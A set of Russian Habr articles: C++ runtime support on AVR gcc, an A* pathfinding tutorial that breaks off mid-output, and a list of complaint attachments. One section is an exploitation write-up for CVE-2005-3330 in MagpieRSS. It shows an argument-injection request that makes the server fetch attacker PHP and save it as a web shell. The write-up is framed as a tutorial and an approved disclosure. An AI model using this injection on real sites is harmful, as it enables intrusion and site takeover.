1. Копия искового заявления. [dl.dropbox.com/sh/0ropsjp1vfnv2c6/53rHCBrPSf/Request.rtf?dl=1](https://dl.dropbox.com/sh/0ropsjp1vfnv2c6/53rHCBrPSf/Request.rtf?dl=1) [docs.google.com/open?id=0B6ruV24IahNAV0pFaWhwWXJ2dE0](https://docs.google.com/open?id=0B6ruV24IahNAV0pFaWhwWXJ2dE0)
[dl.dropbox.com/sh/0ropsjp1vfnv2c6/5aYS5kkcsN/Hod.rtf?dl=1](https://dl.dropbox.com/sh/0ropsjp1vfnv2c6/5aYS5kkcsN/Hod.rtf?dl=1)
[docs.google.com/open?id=0B6ruV24IahNAT2d3a3h5RVVTUjQ](https://docs.google.com/open?id=0B6ruV24IahNAT2d3a3h5RVVTUjQ)
2. Выписка списания с карты Visa Electron за февраль 2012 года.
3. Копия листов детализации платежа через веб-сайт RBKMoney
4. Копия листов детализации платежа через веб-сайт ebaytoday.ru
5. Копия документа «Сроки прохождения внутренней ускоренной почты EMS из г. Москва»
6. [Квитанция](http://habrastorage.org/storage2/74a/81f/cc4/74a81fcc48b0b6e9927f152928412cbe.jpg) приема заявления о выплате возмещения от 19.03.2012
7. [Письмо](http://habrastorage.org/storage2/4af/c3d/6b6/4afc3d6b6bd911e7e5aad0673bdfaa63.jpg) от ФГУП «Почта России» об отказе компенсации за нарушение контрольных сроков прохождения МПО №2.53.16-86/299 от 21.03.2012г.
8. [Таможенная декларация](http://habrastorage.org/storage2/75d/90a/989/75d90a989bf9507abc91521f4452b603.jpg)
9. [Копия](http://habrastorage.org/storage2/739/d04/fe4/739d04fe4b5dfe311249bfce03b86dfe.jpg) заявления отправителя об отказе от выплаты возмещения в пользу адресата.
[Бланк письма директору EMS](https://docs.google.com/open?id=0B6ruV24IahNAY0QyZV9fSmNiLUU)
Спасибо всем, кто дочитал до конца. | https://habr.com/ru/post/284730/ | null | ru | null |
# Поддержка C++ на avr в gcc
Компилятор avrgcc поддерживает C++, однако в его поставку не входит ни стандартная библиотека, ни реализация ABI: служебных функций, вызовы которых вставляет сам компилятор. В результате люди пытаются реализовать те части, которые им нужны, самостоятельно и зачастую делают это не очень хорошо. Например, часто предлагается отстрелить себе ногу определив пустую функцию \_\_cxa\_pure\_virtual(void) {} или подложить себе грабли, написав заглушки для \_\_cxa\_guard\_acquire, \_\_cxa\_guard\_release и \_\_cxa\_guard\_abort. В данной статье я предлагаю разобраться, чего не хватает для счастья, где это взять или как написать.
Я знаю, что немло людей считает, что C++ на микроконтроллере не нужен. Их я прошу прочитать последний раздел статьи перед тем, как писать комментарии.
Особенности для владельцев arduino
==================================
Arduino предоставляет ограниченную поддержку C++. Но, насколько я понимаю, разработчики arduino не любят C++, поэтому в соответсвующий модуль, по просьбам трудящихся, был вставлен первый попавшийся костыль. Им оказался костыль, описанный на [avrfreaks](http://www.avrfreaks.net/index.php?name=PNphpBB2&file=viewtopic&t=59453), причем без исправлений, указанных в комментариях к топику. Поэтому сперва вам придется от него избавиться. Удалите файлы* hardware/arduino/cores/arduino/new.h
* hardware/arduino/cores/arduino/new.cpp
Или используйте [версию, где это уже сделано](https://github.com/kibergus/arduino/blob/master/).
Чисто виртуальные и удаленные методы
====================================
Механизм виртуальных методов, как правило, реализуется через vtable. Это не регламентировано стандартом, однако используется во всех компиляторах. Даже если вы объявляете метод чисто виртуальным, то есть не имеющим реализации, в vtable все равно будет отведено место под указатель на этот метод. Это необходимо для того, чтобы у дочерних классов по этому же смещению положить указатель на соответсвующую реализацию. Вместо указателя на отсутствющий метод компилятор записывает в vtable указатель на функцию-заглушку \_\_cxa\_pure\_virtual. Если кто-то сумеет вызвать чисто виртуальную функцию, то управление перейдет на заглушку и она остановит программу, вместо того, чтобы пытаться исполнить случайный кусок памяти. Обратите внимание, что эта защита обходится почти бесплатно: реализация \_\_cxa\_pure\_virtual, содержащая единственный вызов, занимает всего 6 байт флеша.
Возникает резонный вопрос, а как вообще можно вызвать чисто виртуальную функцию, если нельзя создать объект абстрактного класса? Создать нельзя, а вызвать можно, если писать странный код:
```
class B {
public:
B() {
// Объект класса C пока не создан, поэтому используется vtable класса B
// Однако в конструкторе не работает механизм виртуальных функций, поэтому
// мы не можем вызвать не сущесутвющую функцию virt(), но можем вызвать
non_virtual();
}
void non_virtual() {
// Это обычная функция и она не знает, что вызвана из конструктора
// поэтому она выполнит вызов виртуальной функции, причем вызовет
// реализацию для класса B
virt();
// pure virtual method called
// terminate called without an active exception
// Аварийный останов (core dumped)
}
virtual void virt() = 0;
};
class C : public B{
public:
virtual void virt() {}
};
int main(int argc, char** argv) {
C c;
return 0;
}
```
Чтобы не возникало таких ошибок, надо стараться не вызывать методы объекта, пока он не инициализирован. Другими словами, не надо делать сложную работу в конструкторе. А чтобы компилятор собрал ваше приложение, добавте реализацию следующих функций:
```
void __cxa_pure_virtual(void) {
// We might want to write some diagnostics to uart in this case
std::terminate();
}
void __cxa_deleted_virtual(void) {
// We might want to write some diagnostics to uart in this case
std::terminate();
}
```
Также вам понадобится реализация std::terminate из стандартной библиотеки. Если очень нужно экономить 2 байта оперативной памяти и 14 байт флеша, можно вызывать и abort() напрямую, однако позже я расскажу, почему std::terminate предпочтительнее.
Статические переменные
======================
Вы можете объявить переменную внутри функции статической, что фактически сделает ее глобальной переменной видимой только внутри функции.
```
int counter(int start) {
static int cnt = start;
return ++cnt;
}
```
В C этот код не соберется, так как статическая переменная должна инициализироваться константой, чтобы сразу поместить начальное значение в секцию .data. В C++ это было разрешено, однако не специфицировалось, что произойдет в случае, если два потока попытаются инициализировать переменную одновременно. Многие компиляторы предпочли добавить блокировки и обеспечить потокобезопасность в этом случае, а в C++11 такое поведение стало частью стандарта. Поэтому инициализацию не константным значением статической переменной gcc развернет в следующий код: gcc/cp/decl.c
```
static guard;
if (!guard.first\_byte) {
if (\_\_cxa\_guard\_acquire (&guard)) {
bool flag = false;
try {
// Do initialization.
flag = true; \_\_cxa\_guard\_release (&guard);
// Register variable for destruction at end of program.
} catch {
if (!flag) \_\_cxa\_guard\_abort (&guard);
}
}
}
```
где guard — целочисленный тип, достаточного размера чтобы хранить флаг и мьютекс. Просмотр исходников gcc показал, что его оптимизацией заморачивались только на ARM архитектуре:
gcc/config/arm/arm.c
```
/* The generic C++ ABI says 64-bit (long long). The EABI says 32-bit. */
static tree
arm_cxx_guard_type (void)
{
return TARGET_AAPCS_BASED ? integer_type_node : long_long_integer_type_node;
}
```
Во всех остальных случаях используется тип по-умолчанию: long\_long\_integer\_type\_node. На avr, в зависимости от опции -mint8 он будет либо 64, либо 32 бита. Нам хватит и 16. guard.first\_byte, в котором размещается флаг, понимается компилятором как байт с наименьшим адресом: \*(reinterpret\_cast(g)). Исключением является платформа ARM, где используется только один бит первого байта.
### Как правильно?
Если вам не нужны потокобезопасные статические переменные, то отключите их опцией -fno-threadsafe-statics и компилятор вместо сложных блокировок поставит простую проверку флага. Реализовывать \_\_cxa\_guard\_\* в этом случае не нужно. Но если вы их предоставляете (как это сделано в arduino), то реализация **должна** обеспечивать корректную работу в случае одновременной инициализации переменной из обычного кода и из прерывания. Другими словами, \_\_cxa\_guard\_acquire должна блокировать прерывания, а \_\_cxa\_guard\_release и \_\_cxa\_guard\_abort должны их возвращать к предыдущему состоянию. В случае использования RTOS я, возможно, готов пожертвовать корректностью в прерываниях, оставив корректность для двух потоков.Корректная реализация должна работать вот так:
```
namespace {
// guard is an integer type big enough to hold flag and a mutex.
// By default gcc uses long long int and avr ABI does not change it
// So we have 32 or 64 bits available. Actually, we need 16.
inline char& flag_part(__guard *g) {
return *(reinterpret_cast(g));
}
inline uint8\_t& sreg\_part(\_\_guard \*g) {
return \*(reinterpret\_cast(g) + sizeof(char));
}
}
int \_\_cxa\_guard\_acquire(\_\_guard \*g) {
uint8\_t oldSREG = SREG;
cli();
// Initialization of static variable has to be done with blocked interrupts
// because if this function is called from interrupt and sees that somebody
// else is already doing initialization it MUST wait until initializations
// is complete. That's impossible.
// If you don't want this overhead compile with -fno-threadsafe-statics
if (flag\_part(g)) {
SREG = oldSREG;
return false;
} else {
sreg\_part(g) = oldSREG;
return true;
}
}
void \_\_cxa\_guard\_release (\_\_guard \*g) {
flag\_part(g) = 1;
SREG = sreg\_part(g);
}
void \_\_cxa\_guard\_abort (\_\_guard \*g) {
SREG = sreg\_part(g);
}
```
### Сколько стоит
Если вы не используете статические переменные или присваиваете им константные значения — то бесплатно. Если вы указываете флаг -fno-threadsafe-statics, то платите 8 байт оперативной памяти за флаг, и 12 байт флеша на каждую переменную. Если же вы используете потокобезопасную инициализацию, потратите еще 38 байт флеша на каждую переменную и еще 44 на всю программу. Кроме того, на время инициализации статических переменных будут заблокированы прерывания. Но вы же не делаете сложную работу в конструкторах?
Выбор за вами, но в любом случае, если библиотека предоставляет функции \_\_cxa\_guard\_\*, они должны быть реализованы корректно, а не являться той затычкой, которую везде предлагают. А вообще, я рекомендовал бы стараться не использовать статические переменные.
### Где взять
[abi.h](https://github.com/kibergus/Arduino/blob/master/hardware/arduino/cores/arduino/abi.h) и [abi.cpp](https://github.com/kibergus/Arduino/blob/master/hardware/arduino/cores/arduino/abi.cpp)
operator new и operator delete
==============================
Когда речь заходит об операторах new и delete обязательно кто-нибудь скажет, что в микроконтроллерах крайне мало памяти, поэтому динамическая память — непозволительная роскошь. Эти люди не знают, что new и delete — это не только управление динамической памятью. Есть еще placement new, располагающий объект в выделенном программистом буфере. Без него не напишешь любимый разработчиками встроенного ПО кольцевой буфер, через который реализуются очереди сообщений. Ну и если вы так уверены в том, что динамическая память не нужна, то зачем написали реализации для malloc и free? Значит есть задачи, где без них обойтись не получилось.
### Типы операторов new и delete
Во-первых, есть operator new выделяющий память под одиночные объекты и есть operator new[], выделяющий память под массивы. Технически они отличаются тем, что new[] запоминает размер массива, чтобы при удалении вызвать деструктор у каждого элемента. Поэтому важно при освобождении памяти использовать парный operator delete или operator delete[].
Во-вторых, каждый из этих операторов, как и любая функция в C++, может быть перегружен. И стандартом определены три варианта:1. ```
void* operator new(std::size_t numBytes) throw(std::bad_alloc);
```
выделит блок памяти размером numBytes. В случае ошибки кидает исключение std::bad\_alloc
2. ```
void* operator new(std::size_t numBytes, const std::nothrow_t& ) throw();
```
выделит блок памяти размером numBytes. В случае ошибки возвращает nullptr
3. ```
inline void* operator new(std::size_t, void* ptr) throw() {return ptr; }
```
placement new, располагает объект там, где сказали. Используется при реализации контейнеров
В arduino, по непонятным причинам, реализован только void\* operator new(std::size\_t numBytes) throw(std::bad\_alloc), причем в случае ошибки он возвращает 0, что приводит к неопределенному поведению программы, так как возвращаемое значение никто не проверяет.
С operator delete все немного хитрее. Есть void\* operator delete(std::size\_t numBytes) и void\* operator delete[](std::size\_t numBytes). Вы можете его перегрузить для других параметров, но не можете вызвать эти перегрузки, так как в языке нет соответсвующего синтаксиса. Есть только один случай, когда компилятор вызовет перегруженные версии оператора delete. Представьте, что вы создаете объект в динамической памяти, оператор new успешно выделил память, ее начал заполнять конструктор и кинул исключение. Ваш код еще не получил в свое распоряжение указатель на объект, так что он не может вернуть системе память объекта-неудачника. Поэтому компилятор вынужден сам это сделать вызвав delete. Но что произойдет, если память «была выделена» с помощью placement new? В этом случае нельзя вызывать обычный delete, поэтому, если конструктор бросил исключение, компилятор вызовет перегруженную версию delete с теми же параметрами, с которыми был вызван new. Так что в стандартной библиотеке определено три версии operator delete и три версии operator delete[].
### Обработка bad\_alloc
Как было сказано выше, наиболее часто используемая версия new обязана кидать исключение, в случае ошибки. Но gcc не поддерживает исключения на avr: их нельзя ни кинуть, ни поймать. Но если их нельзя ловить, то в программе нет ни одной try секции, а значит, если бы исключение было кинуто, то вызвался бы std::terminate. Более того, стандарт C++ позволяет в таком случае (см. 15.5.1) не разматывать стек. Поэтому new может вызвать std::terminate напрямую и это будет соответствовать стандарту.
Не надо ужасаться, что стандартная библиотека возьмет и завершит прошивку! Часто ли вы можете что-то исправить, если произошел bad\_alloc? Как правило, ничего. Ваша прошивка не может продолжать корректную работу и слава богу, что она завершится в момент возникновения ошибки. Но если вы знаете, как поправить ситуацию, вы можете воспользоваться nothrow версией оператора new. Посмотрите на это как на безопасный malloc, корректно себя ведущий в случае, если вы не проверяете возвращаемое им значение.
### Где взять
В uClibc++ есть полная и корректная реализация new и delete. Правда вместо std::terminate там вызывается abort(). Поэтому я сделал [исправленную](https://github.com/kibergus/StandardCplusplus) версию. Заодно туда добавлены списки инициализации, std::move и std::forvard.
std::terminate vs abort()
=========================
Согласно [документации](http://www.nongnu.org/avr-libc/user-manual/group__avr__stdlib.html#ga63e28bec3592384b44606f011634c5a8) на avr-libc, функция abort() блокирует все прерывания, после чего впадает в бесконечный цикл. Это не то, чего бы мне хотелось. По двум причинам. Во-первых, она оставляет устройство в **опасном состоянии**. Представьте, что система управляет нагревательным элементом и программа зациклится в момент, когда он включен. В случае ошибки я хочу перейти в безопасное состояние, установив все выходы платы в 0. Во-вторых, я уже знаю, что все плохо и мне не нужно дожидаться, пока сработает watchdog и перезагрузит систему. Это можно сделать немедленно.
Если прошивка завершается по std::terminate, я могу установить собственный обработчик и выполнить там все необходимые действия. Переопределить abort я не могу: механизм, предусмотренный для этого в unix не работает на avr. Поэтому я лучше потрачу те 2 байта оперативной памяти и 14 байт флеша, которые занимает реализация std::terminate.
Исключения
==========
Исключения — та часть C++ за которую приходится платить много, причем не только в коде, который их использует напрямую, но и в коде, через который может пролететь исключение: компилятор вынужден регистрировать деструктор каждой переменной, создаваемой на стеке. Кроме того, для исключений нужен RTTI и небольшой резервный буфер памяти, чтобы было, где создать std::bad\_alloc, когда память кончится. Кроме того, это единственная часть C++, для которой проблематично, хотя и не невозможно, рассчитать время выполнения. Насколько я понимаю, у любого, кто достаточно разбирался, чтобы написать недостающие на AVR функции поддержки работы исключений, пропадало желание это делать. Находится много более важных вещей, которые тоже надо сделать. Поэтому поддержки исключений на AVR в gcc нет и, вполне вероятно, что и не будет.
STL
===
Я видел много сообщений, что STL на микроконтроллере — это плохо: она раздувает код и, делая сложные вещи простыми, подстрекает ими пользоваться. При этом умалчивается, что в STL есть и такие примитивы, как [быстрая сортировка](http://www.cplusplus.com/reference/algorithm/sort/), которая значительно быстрее и компактнее qsort, или [бинарный поиск](http://www.cplusplus.com/reference/algorithm/binary_search/), безопасные версии min и max. Вы правда знаете сакральный способ написать классические алгоритмы эффективнее других программистов? А тогда почему бы не использовать готовый оттестированный алгоритм, который займет столько же места, сколько то, что вам придется написать. За те части STL, которые вы не используете, вы не платите.
### Где взять
Используйте [uClibc++](https://github.com/kibergus/StandardCplusplus). У этой библиотеки есть одна особенность: std::map и std::set реализованы поверх вектора, поэтому при вставках и удалениях итераторы инвалидируются. Кроме того, у них иная сложность. В документации автор подробно описывает, почему он так сделал.
Для чего нужен C++
==================
Это тема для отдельной статьи, которую я готов написать, если вам это интересно. Если кратко, то при **грамотном** использовании C++ позволяет писать столь же эффективные решения, что и решения на C, но при этом получать более читаемый и более безопасный за счет проверок компилятора код. А механизм шаблонов позволяет писать эффективные реализации обобщенных алгоритмов, что проблематично на C. А еще я к нему привык. В любом случае, я крайне прошу воздержаться от дискуссии на эту тему сейчас. | https://habr.com/ru/post/149683/ | null | ru | null |
# Пример эксплуатации одной старой уязвимости
Всем добра! Хочется рассказать об эксплуатации одной старой известной уязвимости [CVE-2005-3330](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3330), которую обнаружили в 2016 году на довольно популярном веб-сайте, который ведет свою историю с 2006 года. Могу лишь предположить что фреймворк с уязвимостью просто забыли удалить с сайта, хотя чем черт не шутит может быть и используют.
Статья может быть полезна новичкам, которые осваивают информационную безопасность.
Итак. Уязвимость присутствует в парсере RSS [magpierss-0.72](http://magpierss.sourceforge.net/), который в свою очередь использует библиотеку [Snoopy](https://sourceforge.net/projects/snoopy/). Пример эксплоита [тут](https://www.exploit-db.com/exploits/26424/). Но он, как случается довольно часто, лишь намекает на то, как уязвимость можно эксплуатировать. Описание уязвимости говорит нам о том, что уязвимость проявляется при передаче пользовательских данных, а именно https-адреса стороннего веб-сайта в GET-параметре *url*.
**Уязвимая функция**
```
function _httpsrequest($url,$URI,$http_method,$content_type="",$body="")
{
if($this->passcookies && $this->_redirectaddr)
$this->setcookies();
$headers = array();
$URI_PARTS = parse_url($URI);
if(empty($url))
$url = "/";
// GET ... header not needed for curl
//$headers[] = $http_method." ".$url." ".$this->_httpversion;
if(!empty($this->agent))
$headers[] = "User-Agent: ".$this->agent;
if(!empty($this->host))
$headers[] = "Host: ".$this->host;
if(!empty($this->accept))
$headers[] = "Accept: ".$this->accept;
if(!empty($this->referer))
$headers[] = "Referer: ".$this->referer;
if(!empty($this->cookies))
{
if(!is_array($this->cookies))
$this->cookies = (array)$this->cookies;
reset($this->cookies);
if ( count($this->cookies) > 0 ) {
$cookie_str = 'Cookie: ';
foreach ( $this->cookies as $cookieKey => $cookieVal ) {
$cookie_str .= $cookieKey."=".urlencode($cookieVal)."; ";
}
$headers[] = substr($cookie_str,0,-2);
}
}
if(!empty($this->rawheaders))
{
if(!is_array($this->rawheaders))
$this->rawheaders = (array)$this->rawheaders;
while(list($headerKey,$headerVal) = each($this->rawheaders))
$headers[] = $headerKey.": ".$headerVal;
}
if(!empty($content_type)) {
if ($content_type == "multipart/form-data")
$headers[] = "Content-type: $content_type; boundary=".$this->_mime_boundary;
else
$headers[] = "Content-type: $content_type";
}
if(!empty($body))
$headers[] = "Content-length: ".strlen($body);
if(!empty($this->user) || !empty($this->pass))
$headers[] = "Authorization: BASIC ".base64_encode($this->user.":".$this->pass);
for($curr_header = 0; $curr_header < count($headers); $curr_header++) {
$cmdline_params .= " -H \"".$headers[$curr_header]."\"";
}
if(!empty($body))
$cmdline_params .= " -d \"$body\"";
if($this->read_timeout > 0)
$cmdline_params .= " -m ".$this->read_timeout;
$headerfile = uniqid(time());
# accept self-signed certs
$cmdline_params .= " -k";
exec($this->curl_path." -D \"/tmp/$headerfile\"".escapeshellcmd($cmdline_params)." ".escapeshellcmd($URI),$results,$return);
```
Для того, чтобы проэксплуатировать уязвимость:
1. У нас должен быть веб-сайт, который отдаст страничку по https. Такой веб-сайт мы можем поднять на Python'е за 5 секунд. Создаём скрипт *https.py*:
```
import BaseHTTPServer, SimpleHTTPServer
import ssl
httpd = BaseHTTPServer.HTTPServer(('hacker_host', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
```
Для работы ему понадобится сертификат. Создадим самоподписанный сертификат следующей командой:
```
openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
```
В корень со скриптом *https.py* положим скрипт *index.php* с любым интересным содержимым, например таким:
```
php echo("hello world!"); ?
```
2. Мы должны знать путь, чтобы передать в параметр *url* то, что мы хотим:
```
http:////usr/lib/magpierss-0.72/scripts/magpie\_debug.php?url=
```
Теперь можно эксплуатировать. В нашем случае запрос выглядел следующим образом:
```
http:////usr/lib/magpierss-0.72/scripts/magpie\_debug.php?url=https:///index.php -o"cache/../../../../../shell.php"
```
Что означает осуществление http-запроса к уязвимому сайту с параметром *url*, в который мы передаём адрес странички на сайте атакующего *https:///index.php*. Опытным путём установлено, что сайт положит содержимое файла *index.php* в файл *shell.php* корня сайта. Теперь сайт жертвы содержит наш скрипт *shell.php*. Обратиться к нему можно так:
```
http:///shell.php
```
Рекомендацией по исправлению является удаление неиспользуемого кода и устаревших фреймворков, проверка сайта на наличие бэкдоров, шеллкодов и т.п.
Администрация сайта подтвердила наличие уязвимости и начала процесс исправления; разрешила опубликовать статью с обезличенной информацией. | https://habr.com/ru/post/309064/ | null | ru | null |
# Реализация алгоритма A*
![](https://habrastorage.org/r/w1560/web/3a8/810/442/3a8810442f124277a2a6d38536ea534a.png)
Эта статья является продолжением моего [введения в алгоритм A\*](https://habrahabr.ru/post/331192/). В ней я показал, как реализуются поиск в ширину, алгоритм Дейкстры, жадный поиск по наилучшему первому совпадению и A\*. Я стремился как можно больше упростить объяснение.
Поиск по графам — это семейство схожих алгоритмов. Существует *множество* вариаций алгоритов и их реализаций. Относитесь к коду этой статьи как к отправной точке, а не окончательной версии алгоритма, подходящей ко всем ситуациям.
1. Реализация на Python
-----------------------
Ниже я объясню бо́льшую часть кода. Файл [implementation.py](http://www.redblobgames.com/pathfinding/a-star/implementation.py) несколько шире. В коде используется **Python 3**, поэтому если вы используете Python 2, то нужно будет поменять вызов `super()` и функцию `print` на аналоги из Python 2.
### 1.1 Поиск в ширину
Давайте реализуем на Python поиск в ширину. В первой статье показан код на Python для алгоритма поиска, но нам также нужно определить граф, с которым мы будем работать. Вот какие абстракции я использую:
**Граф**: структура данных, которая может сообщить о соседях каждой из точек (см. [этот туториал](http://www.redblobgames.com/pathfinding/grids/graphs.html))
**Точки (локации)**: простое значение (int, string, tuple и т.д.), помечающее точки в графе
**Поиск**: алгоритм, получающий граф, начальную точку и (необязательно) конечную точку, вычисляющий полезную информацию (посещённый, указатель на родительский элемент, расстояние) для некоторых или всех точек
**Очередь**: структура данных, используемая алгоритмом поиска для выбора порядка обработки точек.
В первой статье я в основном рассматривал **поиск**. В этой статье я объясню всё остальное, необходимое для создания полностью рабочей программы. Давайте начнём с **графа**:
```
class SimpleGraph:
def __init__(self):
self.edges = {}
def neighbors(self, id):
return self.edges[id]
```
Да, и это всё, что нам нужно! Вы можете спросить: а где же объект узла (Node)? Ответ: я редко использую объект узла. Мне кажется более проще использовать в качестве точек целые числа, строки или кортежи, а затем применять массивы или таблицы хешей, чтобы брать точки в качестве индексов.
Заметьте, что рёбра имеют *направление*: у нас может быть ребро из A в B, но не быть ребра из B в A. В игровых картах рёбра в основном двунаправленные, но иногда существуют односторонние двери или прыжки с уступов, которые обозначаются как направленные рёбра. Давайте создадим пример графа, где **точки** будут обозначены буквами A-E.
![](https://habrastorage.org/r/w1560/getpro/habr/post_images/7e9/956/f83/7e9956f837f4a80173aa64148827f927.png)
Для каждой точки нужен список точек, в которые она ведёт:
```
example_graph = SimpleGraph()
example_graph.edges = {
'A': ['B'],
'B': ['A', 'C', 'D'],
'C': ['A'],
'D': ['E', 'A'],
'E': ['B']
}
```
Прежде чем воспользоваться алгоритмом поиска, нам нужно задать **очередь**:
```
import collections
class Queue:
def __init__(self):
self.elements = collections.deque()
def empty(self):
return len(self.elements) == 0
def put(self, x):
self.elements.append(x)
def get(self):
return self.elements.popleft()
```
Этот класс очереди является просто обёрткой встроенного класса `collections.deque`. В своём коде вы можете использовать непосредственно `deque`.
Давайте попробуем использовать наш пример графа с этой очередью и кодом поиска в ширину из предыдущей статьи:
```
from implementation import *
def breadth_first_search_1(graph, start):
# печать того, что мы нашли
frontier = Queue()
frontier.put(start)
visited = {}
visited[start] = True
while not frontier.empty():
current = frontier.get()
print("Visiting %r" % current)
for next in graph.neighbors(current):
if next not in visited:
frontier.put(next)
visited[next] = True
breadth_first_search_1(example_graph, 'A')
```
`Visiting 'A'
Visiting 'B'
Visiting 'C'
Visiting 'D'
Visiting 'E'`
Сетки тоже можно выразить как графы. Сейчас я определю новый **граф** `SquareGrid`, с кортежем (int, int) **точек**. Вместо того, чтобы хранить рёбра явным образом, мы будем вычислять их в функции `neighbors`.
```
class SquareGrid:
def __init__(self, width, height):
self.width = width
self.height = height
self.walls = []
def in_bounds(self, id):
(x, y) = id
return 0 <= x < self.width and 0 <= y < self.height
def passable(self, id):
return id not in self.walls
def neighbors(self, id):
(x, y) = id
results = [(x+1, y), (x, y-1), (x-1, y), (x, y+1)]
if (x + y) % 2 == 0: results.reverse() # ради эстетики
results = filter(self.in_bounds, results)
results = filter(self.passable, results)
return results
```
Давайте проверим его на первой сетке из предыдущей статьи:
```
from implementation import *
g = SquareGrid(30, 15)
g.walls = DIAGRAM1_WALLS # список long, [(21, 0), (21, 2), ...]
draw_grid(g)
```
`. . . . . . . . . . . . . . . . . . . . . ####. . . . . . .
. . . . . . . . . . . . . . . . . . . . . ####. . . . . . .
. . . . . . . . . . . . . . . . . . . . . ####. . . . . . .
. . . ####. . . . . . . . . . . . . . . . ####. . . . . . .
. . . ####. . . . . . . . ####. . . . . . ####. . . . . . .
. . . ####. . . . . . . . ####. . . . . . ##########. . . .
. . . ####. . . . . . . . ####. . . . . . ##########. . . .
. . . ####. . . . . . . . ####. . . . . . . . . . . . . . .
. . . ####. . . . . . . . ####. . . . . . . . . . . . . . .
. . . ####. . . . . . . . ####. . . . . . . . . . . . . . .
. . . ####. . . . . . . . ####. . . . . . . . . . . . . . .
. . . ####. . . . . . . . ####. . . . . . . . . . . . . . .
. . . . . . . . . . . . . ####. . . . . . . . . . . . . . .
. . . . . . . . . . . . . ####. . . . . . . . . . . . . . .
. . . . . . . . . . . . . ####. . . . . . . . . . . . . . .`
Чтобы воссоздать пути, нам нужно сохранить точку, из которой мы пришли, поэтому я переименовал `visited` (True/False) в `came_from` (точку):
```
from implementation import *
def breadth_first_search_2(graph, start):
# возвращает "came_from"
frontier = Queue()
frontier.put(start)
came_from = {}
came_from[start] = None
while not frontier.empty():
current = frontier.get()
for next in graph.neighbors(current):
if next not in came_from:
frontier.put(next)
came_from[next] = current
return came_from
g = SquareGrid(30, 15)
g.walls = DIAGRAM1_WALLS
parents = breadth_first_search_2(g, (8, 7))
draw_grid(g, width=2, point_to=parents, start=(8, 7))
```
`→ → → → ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ← ← ← ← ← ####↓ ↓ ↓ ↓ ↓ ↓ ↓
→ → → → → ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ← ← ← ← ← ← ####↓ ↓ ↓ ↓ ↓ ↓ ↓
→ → → → → ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ← ← ← ← ← ← ← ####→ ↓ ↓ ↓ ↓ ↓ ↓
→ → ↑ ####↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ← ← ← ← ← ← ← ← ####→ → ↓ ↓ ↓ ↓ ↓
→ ↑ ↑ ####→ ↓ ↓ ↓ ↓ ↓ ↓ ← ####↑ ← ← ← ← ← ####→ → → ↓ ↓ ↓ ↓
↑ ↑ ↑ ####→ → ↓ ↓ ↓ ↓ ← ← ####↑ ↑ ← ← ← ← ##########↓ ↓ ↓ ←
↑ ↑ ↑ ####→ → → ↓ ↓ ← ← ← ####↑ ↑ ↑ ← ← ← ##########↓ ↓ ← ←
↑ ↑ ↑ ####→ → → A ← ← ← ← ####↑ ↑ ↑ ↑ ← ← ← ← ← ← ← ← ← ← ←
↓ ↓ ↓ ####→ → ↑ ↑ ↑ ← ← ← ####↑ ↑ ↑ ↑ ↑ ← ← ← ← ← ← ← ← ← ←
↓ ↓ ↓ ####→ ↑ ↑ ↑ ↑ ↑ ← ← ####↑ ↑ ↑ ↑ ↑ ↑ ← ← ← ← ← ← ← ← ←
↓ ↓ ↓ ####↑ ↑ ↑ ↑ ↑ ↑ ↑ ← ####↑ ↑ ↑ ↑ ↑ ↑ ↑ ← ← ← ← ← ← ← ←
→ ↓ ↓ ####↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ####↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ← ← ← ← ← ← ←
→ → → → → ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ####↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ← ← ← ← ← ←
→ → → → ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ####↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ← ← ← ← ←
→ → → ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ####↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ← ← ← ←`
В некоторых реализациях с помощью создания объекта Node используется *внутреннее хранилище* для хранения `came_from` и других значений для каждого узла графа. Вместо этого я решил использовать *внешнее хранилище*, создав единую таблицу хешей для хранения `came_from` всех узлов графа. Если вы знаете, что точки вашей карты имеют целочисленные индексы, то есть ещё один вариант — использовать для хранения `came_from` массив.
### 1.2 Ранний выход
Повторяя код предыдущей статьи, нам нужно просто добавить в основной цикл конструкцию *if*. Эта проверка необязательна для поиска в ширину и алгоритма Дейкстры, но обязательна для жадного поиска по наилучшему первому совпадению и A\*:
```
from implementation import *
def breadth_first_search_3(graph, start, goal):
frontier = Queue()
frontier.put(start)
came_from = {}
came_from[start] = None
while not frontier.empty():
current = frontier.get()
if current == goal:
break
for next in graph.neighbors(current):
if next not in came_from:
frontier.put(next)
came_from[next] = current
return came_from
g = SquareGrid(30, 15)
g.walls = DIAGRAM1_WALLS
parents = breadth_first_search_3(g, (8, 7), (17, 2))
draw_grid(g, width=2, point_to=parents, start=(8, 7), goal=(17, 2))
```
`. → → → ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ← . . . . ####. . . . . . .
→ → → → → ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ← ← ← . . . ####. . . . . . .
→ → → → → ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ← ← ← Z . . . ####. . . . . . .
→ → ↑ ####↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ← ← ← ← ← ← . . ####. . . . . . .
. ↑ ↑ ####→ ↓ ↓ ↓ ↓ ↓ ↓ ← ####↑ ← ← . . . ####. . . . . . .
. . ↑ ####→ → ↓ ↓ ↓ ↓ ← ← ####↑ ↑ . . . . ##########. . . .
. . . ####→ → → ↓ ↓ ← ← ← ####↑ . . . . . ##########. . . .
